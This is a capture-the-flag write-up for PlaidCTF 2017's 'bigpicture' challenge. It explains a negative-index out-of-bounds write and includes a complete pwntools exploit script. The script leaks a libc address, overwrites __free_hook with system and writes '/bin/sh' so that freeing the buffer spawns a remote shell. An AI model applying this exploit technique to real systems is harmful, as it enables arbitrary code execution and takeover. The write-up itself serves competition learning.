The force is with those who read the source.

PlaidCTF 2017: bigpicture (pwn 200)

2017-04-28

Description

Size matters!
Running at bigpicture.chal.pwning.xxx:420
Download

TL;DR

Exploit

This challenge comes with a source code bigpicture.c. What it does is, first, allocating a 2D array with the height and the width we choose. Then, we can set the content of any element of the array. If an element has already been set, it will print out its value. Finally, it will draw the 2D array on the exit.

The vulnerability is that the index of the element to be set can be negative.

1
2
3
4
if(x >= width || y >= height) {
puts("out of bounds!");
return;
}

Therefore, we can leak or set the content before the buffer, which is usually in the heap. Next, here comes the essential part of the challenge. If the buffer located in the heap, the only memory pages we can access belong to the main program. Because of the full RELRO protection of this binary, we cannot hijack the control flow through overriding a GOT entry. Even worst, we don’t know the exact offset between the buffer and the main program. However, if we request a large enough buffer (about 128kb), it will be allocated by mmap. This buffer will be placed after the libc.so.6, and the offset between these two memory pages is fixed. So, we can leak the libc address and override the __free_hook to divert the control flow. Now we know why the description said “Size matters!”

My exploit script is as follows.

bigpicture_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

# remote
got_offset = 0x12afa8
free_hook_offset = 0x128868

# local
got_offset = 0x130fa8
free_hook_offset = 0x12e868

libc_offset = 0x1f876

libc = ELF('./libc-2.23.so')

# r = process('./bigpicture', env={'LD_PRELOAD': './libc-2.23.so'})
# gdb.attach(r, '''
# c
# ''')
r = remote('bigpicture.chal.pwning.xxx', 420)

print r.recvuntil('How big? ')
r.sendline('1000 x 1000')

# leak libc address
print r.recvuntil('> ')
address_in_libc = ''
for i in range(6):
r.sendline('0 , -' + str(got_offset - i) + ' , A')
data = r.recvuntil('> ')
print data
address_in_libc += data[12]

address_in_libc += '\x00\x00'
address_in_libc = u64(address_in_libc)
log.critical('address in libc: ' + hex(address_in_libc))
libc.address = address_in_libc - libc_offset
log.critical('libc base address: ' + hex(libc.address))
log.critical('system address: ' + hex(libc.symbols['system']))

# override __free_hook to system
for i, byte in enumerate(p64(libc.symbols['system'])[:6]):
r.sendline('0 , -' + str(free_hook_offset - i) + ' , ' + byte)
print r.recvuntil('> ')

# write "/bin/sh" to the buffer to be freed
for i, byte in enumerate('/bin/sh'):
r.sendline('0 , ' + str(i) + ' , ' + byte)
print r.recvuntil('> ')

# trigger free
r.sendline('quit')

r.interactive()

I leak an address in the GOT section of the libc to calculate the base address of the libc. Then, I override __free_hook to system and the content of the buffer to /bin/sh. Now freeing the buffer at the end of the program becomes system("/bin/sh"). By the way, the offsets between the buffer and the libc of the remote machine were calculated by leaking some memory content and comparing then with the local one.

Flag: PCTF{draw_me_like_one_of_your_pwn200s}

Note


Blog comments powered by Disqus